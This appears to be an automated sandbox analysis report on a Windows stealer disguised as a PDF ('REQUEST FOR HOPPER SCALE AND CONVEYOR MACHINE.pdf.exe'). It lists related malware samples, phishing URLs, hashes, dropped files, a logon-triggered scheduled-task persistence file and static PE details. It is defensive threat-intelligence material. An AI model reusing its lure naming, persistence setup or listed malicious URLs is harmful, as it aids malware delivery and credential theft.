	datasheet.exe	Get hash	malicious	AgentTesla	Browse	77.88.21.158
	datasheet.exe	Get hash	malicious	AgentTesla	Browse	77.88.21.158
	0zu73p2YBu.exe	Get hash	malicious	Chrome Password Stealer, Fox Password Stealer, Opera Password Stealer	Browse	77.88.21.158
	BWr9qnCU8X.exe	Get hash	malicious	Unknown	Browse	77.88.21.158
	REQUEST FOR OFFER EQUIPMENT ORDER LIST.exe	Get hash	malicious	AgentTesla	Browse	77.88.21.158
api.ipify.org	PO54782322024.exe	Get hash	malicious	AgentTesla	Browse	172.67.74.152
	https://assets-gbr.mkt.dynamics.com/cc57758b-ada1-ef11-8a64-000d3a872ba0/digitalassets/standaloneforms/7608c709-85a2-ef11-8a69-7c1e5279b2dd	Get hash	malicious	EvilProxy, HTMLPhisher	Browse	104.26.13.205
	https://url.us.m.mimecastprotect.com/s/tWC_CNkXmJcoqkvlsmfBIyQP6j?domain=assets-gbr.mkt.dynamics.com	Get hash	malicious	EvilProxy, HTMLPhisher	Browse	104.26.13.205
	lC7L7oBBMC.exe	Get hash	malicious	AgentTesla	Browse	104.26.13.205
	0wxckB4Iba.exe	Get hash	malicious	AgentTesla, PureLog Stealer	Browse	172.67.74.152
	OHScaqAPjt.exe	Get hash	malicious	AgentTesla, PureLog Stealer, zgRAT	Browse	172.67.74.152
	8JuGuaUaZP.exe	Get hash	malicious	AgentTesla	Browse	104.26.13.205
	lUy4SKlE6A.exe	Get hash	malicious	AgentTesla	Browse	104.26.12.205
	xFHqehx1tb.exe	Get hash	malicious	AgentTesla, DarkTortilla	Browse	104.26.12.205
	https://app.peony.ink/view/902b02a8-11f0-4e28-89b1-5318035c10eb	Get hash	malicious	EvilProxy, HTMLPhisher	Browse	104.26.12.205

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
YANDEXRU	dtkB4s3lqj.lnk	Get hash	malicious	Unknown	Browse	213.180.204.127
	https://sendgb.com/dxukcl49bIj?utm_medium=mvC3BJ1YMhqe8zn	Get hash	malicious	HTMLPhisher	Browse	213.180.204.90
	7Gt3icFvQW.exe	Get hash	malicious	AgentTesla	Browse	77.88.21.158
	idl57nk7gk.exe	Get hash	malicious	Neshta	Browse	87.250.251.119
	idl57nk7gk.exe	Get hash	malicious	Neshta	Browse	87.250.251.119
	e7lGwhCp7r.exe	Get hash	malicious	AgentTesla	Browse	77.88.21.158
	https://bielefelde.de/	Get hash	malicious	Unknown	Browse	77.88.21.119
	pjyhwsdgkl.elf	Get hash	malicious	Unknown	Browse	95.108.221.122
	DHL Delivery Invoice.exe	Get hash	malicious	AgentTesla, PureLog Stealer, zgRAT	Browse	77.88.21.158
	la.bot.sparc.elf	Get hash	malicious	Unknown	Browse	100.43.91.146
CLOUDFLARENETUS	fiyati_teklif 65TIBBI20_ Memorial Medikal Cihaz Sipari#U015fi jpeg docx _ .exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	172.67.177.134
	http://www.javatpoint.com.cach3.com/	Get hash	malicious	Unknown	Browse	104.21.43.239
	hesaphareketi-01.exe	Get hash	malicious	Snake Keylogger	Browse	104.21.67.152
	Hesap hareketleriniz.exe	Get hash	malicious	Snake Keylogger	Browse	104.21.67.152
	Fiyat Teklifi_2038900001-MOKAPTO-06122024.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	104.21.67.152
	NewOrder12052024.js	Get hash	malicious	Remcos	Browse	172.67.187.200
	16547.js	Get hash	malicious	MassLogger RAT	Browse	172.67.177.134
	https://skillbridge.ca/onlinePaymentverify.html	Get hash	malicious	Unknown	Browse	104.18.95.41
	4f9o4398o3ff34f.lNK.lnk	Get hash	malicious	Unknown	Browse	104.21.80.171
	DM6vAAgoCw.exe	Get hash	malicious	Orcus, Xmrig	Browse	172.67.74.152

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
3b5074b1b5d032e5620f69f9f700ff0e	fiyati_teklif 65TIBBI20_ Memorial Medikal Cihaz Sipari#U015fi jpeg docx _ .exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	104.26.13.205
	Fiyat Teklifi_2038900001-MOKAPTO-06122024.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	104.26.13.205
	NewOrder12052024.js	Get hash	malicious	Remcos	Browse	104.26.13.205
	16547.js	Get hash	malicious	MassLogger RAT	Browse	104.26.13.205
	PO54782322024.exe	Get hash	malicious	AgentTesla	Browse	104.26.13.205
	965600.invoice.exe	Get hash	malicious	FormBook	Browse	104.26.13.205
	BQ_PO#385995.exe	Get hash	malicious	RedLine, Snake Keylogger, VIP Keylogger, XWorm	Browse	104.26.13.205
	somg.mp3.lnk	Get hash	malicious	Unknown	Browse	104.26.13.205
	file.exe	Get hash	malicious	PureLog Stealer, XWorm	Browse	104.26.13.205
	Cooperative Agreement0000800380.docx.exe	Get hash	malicious	Babadeda, Blank Grabber	Browse	104.26.13.205

Process:	C:\Users\user\Desktop\REQUEST FOR HOPPER SCALE AND CONVEYOR MACHINE.pdf.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	1216
Entropy (8bit):	5.34331486778365
Encrypted:	false
SSDEEP:	24:MLUE4K5E4KH1qE4qXKDE4KhKiKhPKIE4oKNzKoZAE4Kze0E4x84j:MIHK5HKH1qHiYHKh3oPtHo6hAHKze0HJ
MD5:	1330C80CAAC9A0FB172F202485E9B1E8
SHA1:	86BAFDA4E4AE68C7C3012714A33D85D2B6E1A492
SHA-256:	B6C63ECE799A8F7E497C2A158B1FFC2F5CB4F745A2F8E585F794572B7CF03560
SHA-512:	75A17AB129FE97BBAB36AA2BD66D59F41DB5AFF44A705EF3E4D094EC5FCD056A3ED59992A0AC96C9D0D40E490F8596B07DCA9B60E606B67223867B061D9D0EB2
Malicious:	true
Preview:	1,"fusion","GAC",0..1,"WinRT","NotApp",1..2,"System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",0..3,"System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System\920e3d1d70447c3c10e69e6df0766568\System.ni.dll",0..2,"System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a",0..3,"System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Core\8b2c1203fd20aea8260bfbc518004720\System.Core.ni.dll",0..3,"System.Configuration, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Configuration\2192b0d5aa4aa14486ae08118d3b9fcc\System.Configuration.ni.dll",0..3,"System.Xml, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Xml\2062ed810929ec0e33254c02

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\vmPeKTe.exe.log

Download File

Process:	C:\Users\user\AppData\Roaming\vmPeKTe.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	1216
Entropy (8bit):	5.34331486778365
Encrypted:	false
SSDEEP:	24:MLUE4K5E4KH1qE4qXKDE4KhKiKhPKIE4oKNzKoZAE4Kze0E4x84j:MIHK5HKH1qHiYHKh3oPtHo6hAHKze0HJ
MD5:	1330C80CAAC9A0FB172F202485E9B1E8
SHA1:	86BAFDA4E4AE68C7C3012714A33D85D2B6E1A492
SHA-256:	B6C63ECE799A8F7E497C2A158B1FFC2F5CB4F745A2F8E585F794572B7CF03560
SHA-512:	75A17AB129FE97BBAB36AA2BD66D59F41DB5AFF44A705EF3E4D094EC5FCD056A3ED59992A0AC96C9D0D40E490F8596B07DCA9B60E606B67223867B061D9D0EB2
Malicious:	false
Preview:	1,"fusion","GAC",0..1,"WinRT","NotApp",1..2,"System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",0..3,"System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System\920e3d1d70447c3c10e69e6df0766568\System.ni.dll",0..2,"System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a",0..3,"System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Core\8b2c1203fd20aea8260bfbc518004720\System.Core.ni.dll",0..3,"System.Configuration, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Configuration\2192b0d5aa4aa14486ae08118d3b9fcc\System.Configuration.ni.dll",0..3,"System.Xml, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Xml\2062ed810929ec0e33254c02

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	2232
Entropy (8bit):	5.379071839957789
Encrypted:	false
SSDEEP:	48:bWSU4xymI4RfoUeW+gZ9tK8NPZHUxL7u1iMuge//ZWUyus:bLHxvIIwLgZ2KRHWLOugws
MD5:	E3B2A4809FCFC47A9F41FCEA1377AE30
SHA1:	AC5463D0C3DFFF1F257DAFF97D07DAF1439895FB
SHA-256:	8985F8B91983EEE6086A68B57FBBBD72EA8DA3F0593B34418343B7061A3C1E35
SHA-512:	9B9E8EA8C7E743D53C189EB47DCBEBD76C87416C1FAEEF3577F61AD44D06C5B85DB893CF802944231778EF1BE7CF7E03F3492BCFD0C64BB6ACDDC81763359102
Malicious:	false
Preview:	@...e.................................&..............@..........P................1]...E.....j.....(.Microsoft.PowerShell.Commands.ManagementH...............o..b~.D.poM......... .Microsoft.PowerShell.ConsoleHost0......................C.l]..7.s........System..4....................D...{..\|f........System.Core.D...............4..7..D.#V.............System.Management.Automation<...............i..VdqF...\|...........System.Configuration4.................%...K... ...........System.Xml..L.................gQ?O.....x5.......#.Microsoft.Management.Infrastructure.<................t.,.lG....M...........System.Management...@................z.U..G...5.f.1........System.DirectoryServices8..................1...L..U;V.<}........System.Numerics.4.....................@.[8]'.\........System.Data.H................WY..2.M.&..g(g........Microsoft.PowerShell.Security...<...............V.}...@...i...........System.Transactions.P...............8..{...@.e..."4.......%.Microsoft.PowerShell.Com

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_24bxm0q3.prc.psm1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_2qpxfvdo.2zi.psm1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_5sycyjij.px2.psm1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_hgr3ff4a.xag.psm1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_ia1mpqme.r2z.ps1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_kqchvm4x.mzz.ps1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_sdcb2k3l.3tm.ps1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_wcyar2mk.vwj.ps1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\tmpDF64.tmp

Download File

Process:	C:\Users\user\Desktop\REQUEST FOR HOPPER SCALE AND CONVEYOR MACHINE.pdf.exe
File Type:	XML 1.0 document, ASCII text
Category:	dropped
Size (bytes):	1580
Entropy (8bit):	5.104767274521453
Encrypted:	false
SSDEEP:	24:2di4+S2qhtJ12iy1mcrUnrKMhEMOFGpwOzNgU3ODOiIQRvh7hwrgXuNtokxvn:cgeLAYrFdOFzOzN33ODOiDdKrsuTRv
MD5:	589A25E50D934F7EBCE5D13081878A1B
SHA1:	AC303A18A7D2E3D33851E0DBF735195C3D689641
SHA-256:	E2C1523C6CE42EA62097B1914434235DAFDD75AED1E753D0EE8001A7E0AF617C
SHA-512:	20CDE94427208B37FC09ACBD2E011A05233DCA9846DC7E5D7522A6120A1807A3F82B0343F0ED6A92E1C92C8C5D10B4A4840581E01A9023AD853299653BA45590
Malicious:	true
Preview:	<?xml version="1.0" encoding="UTF-16"?>.<Task version="1.2" xmlns="http://schemas.microsoft.com/windows/2004/02/mit/task">. <RegistrationInfo>. <Date>2014-10-25T14:27:44.8929027</Date>. <Author>user-PC\user</Author>. </RegistrationInfo>. <Triggers>. <LogonTrigger>. <Enabled>true</Enabled>. <UserId>user-PC\user</UserId>. </LogonTrigger>. <RegistrationTrigger>. <Enabled>false</Enabled>. </RegistrationTrigger>. </Triggers>. <Principals>. <Principal id="Author">. <UserId>user-PC\user</UserId>. <LogonType>InteractiveToken</LogonType>. <RunLevel>LeastPrivilege</RunLevel>. </Principal>. </Principals>. <Settings>. <MultipleInstancesPolicy>StopExisting</MultipleInstancesPolicy>. <DisallowStartIfOnBatteries>false</DisallowStartIfOnBatteries>. <StopIfGoingOnBatteries>true</StopIfGoingOnBatteries>. <AllowHardTerminate>false</AllowHardTerminate>. <StartWhenAvailable>true</StartWhenAvailable>. <RunOnlyIfNetwor

C:\Users\user\AppData\Local\Temp\tmpF3B7.tmp

Download File

Process:	C:\Users\user\AppData\Roaming\vmPeKTe.exe
File Type:	XML 1.0 document, ASCII text
Category:	dropped
Size (bytes):	1580
Entropy (8bit):	5.104767274521453
Encrypted:	false
SSDEEP:	24:2di4+S2qhtJ12iy1mcrUnrKMhEMOFGpwOzNgU3ODOiIQRvh7hwrgXuNtokxvn:cgeLAYrFdOFzOzN33ODOiDdKrsuTRv
MD5:	589A25E50D934F7EBCE5D13081878A1B
SHA1:	AC303A18A7D2E3D33851E0DBF735195C3D689641
SHA-256:	E2C1523C6CE42EA62097B1914434235DAFDD75AED1E753D0EE8001A7E0AF617C
SHA-512:	20CDE94427208B37FC09ACBD2E011A05233DCA9846DC7E5D7522A6120A1807A3F82B0343F0ED6A92E1C92C8C5D10B4A4840581E01A9023AD853299653BA45590
Malicious:	false
Preview:	<?xml version="1.0" encoding="UTF-16"?>.<Task version="1.2" xmlns="http://schemas.microsoft.com/windows/2004/02/mit/task">. <RegistrationInfo>. <Date>2014-10-25T14:27:44.8929027</Date>. <Author>user-PC\user</Author>. </RegistrationInfo>. <Triggers>. <LogonTrigger>. <Enabled>true</Enabled>. <UserId>user-PC\user</UserId>. </LogonTrigger>. <RegistrationTrigger>. <Enabled>false</Enabled>. </RegistrationTrigger>. </Triggers>. <Principals>. <Principal id="Author">. <UserId>user-PC\user</UserId>. <LogonType>InteractiveToken</LogonType>. <RunLevel>LeastPrivilege</RunLevel>. </Principal>. </Principals>. <Settings>. <MultipleInstancesPolicy>StopExisting</MultipleInstancesPolicy>. <DisallowStartIfOnBatteries>false</DisallowStartIfOnBatteries>. <StopIfGoingOnBatteries>true</StopIfGoingOnBatteries>. <AllowHardTerminate>false</AllowHardTerminate>. <StartWhenAvailable>true</StartWhenAvailable>. <RunOnlyIfNetwor

C:\Users\user\AppData\Roaming\vmPeKTe.exe

Download File

Process:	C:\Users\user\Desktop\REQUEST FOR HOPPER SCALE AND CONVEYOR MACHINE.pdf.exe
File Type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	785408
Entropy (8bit):	7.7070044593487435
Encrypted:	false
SSDEEP:	12288:YBWSRnXtXj5tPu1rXhJxsPaDOIZUAiOqhTGavbMARXC/WaiaYbY:OjFj3Pgr/ImUAiPFrzXC/qa
MD5:	2293CE96EC6BF9E7D7214091D74E4C35
SHA1:	316245E8D58E8A6C8FEC19010EEABF43171F608B
SHA-256:	E963A79ED303A65D9FF3B15753909309D4156D38CFF9E403E39AB1A72E0113E5
SHA-512:	7ED7799D79A63D9A5D6047533E9ABCEF0A6BCB0438BC23AAAF39D34498E3180AE3EFC7E6FD69E615C72CD7DC32D210E1C68FA07424D456FB8B1A03FCA4DB9D54
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 58%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....RRg..............0.................. ........@.. .......................@............@.................................t...W............................ ....................................................... ............... ..H............text........ ...................... ..`.rsrc...............................@..@.reloc....... ......................@..B........................H.......p,..........9........9..........................................hE....e.....@6...8f.....J.R.z@.......@....#'.9u>.x....Gg.'2....c.....v.Yf...@O..`/...+.UKo#../..;./... ...B.kC.a..1..2.}t}.X1...K.+.4...W.;dx.$.u.W...GJ.....p.u.e.?.ah&$....'['.....+.o\|..%c^.G.R9.^......Z....BIlP9^@.\|b.xe.l.........}..........A.%k.....`86........Eb..%.gF.N.g.....bB.0eX..Q...`...;G......W..?.s.....6P"...o.0.Z.....y..o..N..wK...z..$..D}O.]w_......c..'.._i...J1\|..

C:\Users\user\AppData\Roaming\vmPeKTe.exe:Zone.Identifier

Download File

Process:	C:\Users\user\Desktop\REQUEST FOR HOPPER SCALE AND CONVEYOR MACHINE.pdf.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	26
Entropy (8bit):	3.95006375643621
Encrypted:	false
SSDEEP:	3:ggPYV:rPYV
MD5:	187F488E27DB4AF347237FE461A079AD
SHA1:	6693BA299EC1881249D59262276A0D2CB21F8E64
SHA-256:	255A65D30841AB4082BD9D0EEA79D49C5EE88F56136157D8D6156AEF11C12309
SHA-512:	89879F237C0C051EBE784D0690657A6827A312A82735DA42DAD5F744D734FC545BEC9642C19D14C05B2F01FF53BC731530C92F7327BB7DC9CDE1B60FB21CD64E
Malicious:	true
Preview:	[ZoneTransfer]....ZoneId=0

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Entropy (8bit):	7.7070044593487435
TrID:	Win32 Executable (generic) Net Framework (10011505/4) 49.80% Win32 Executable (generic) a (10002005/4) 49.75% Generic CIL Executable (.NET, Mono, etc.) (73296/58) 0.36% Windows Screen Saver (13104/52) 0.07% Generic Win/DOS Executable (2004/3) 0.01%
File name:	REQUEST FOR HOPPER SCALE AND CONVEYOR MACHINE.pdf.exe
File size:	785'408 bytes
MD5:	2293ce96ec6bf9e7d7214091d74e4c35
SHA1:	316245e8d58e8a6c8fec19010eeabf43171f608b
SHA256:	e963a79ed303a65d9ff3b15753909309d4156d38cff9e403e39ab1a72e0113e5
SHA512:	7ed7799d79a63d9a5d6047533e9abcef0a6bcb0438bc23aaaf39d34498e3180ae3efc7e6fd69e615c72cd7dc32d210e1c68fa07424d456fb8b1a03fca4db9d54
SSDEEP:	12288:YBWSRnXtXj5tPu1rXhJxsPaDOIZUAiOqhTGavbMARXC/WaiaYbY:OjFj3Pgr/ImUAiPFrzXC/qa
TLSH:	EFF4E19C7600F44FC903CA364EA4FD74AA646DEA5707C3039AD72EEFB91D9568E041E2
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....RRg..............0.................. ........@.. .......................@............@................................

File Icon


Icon Hash:	0697f0b9b0b1d827

Static PE Info

General

Entrypoint:	0x4bface
Entrypoint Section:	.text
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE
Time Stamp:	0x675252DE [Fri Dec 6 01:26:54 2024 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	4
OS Version Minor:	0
File Version Major:	4
File Version Minor:	0
Subsystem Version Major:	4
Subsystem Version Minor:	0
Import Hash:	f34d5f2d4577ed6d9ceec516c1f5a744

Entrypoint Preview

Instruction
jmp dword ptr [00402000h]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0xbfa74	0x57	.text
IMAGE_DIRECTORY_ENTRY_RESOURCE	0xc0000	0x1bb0	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0xc2000	0xc	.reloc
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x2000	0x8	.text
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x2008	0x48	.text
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

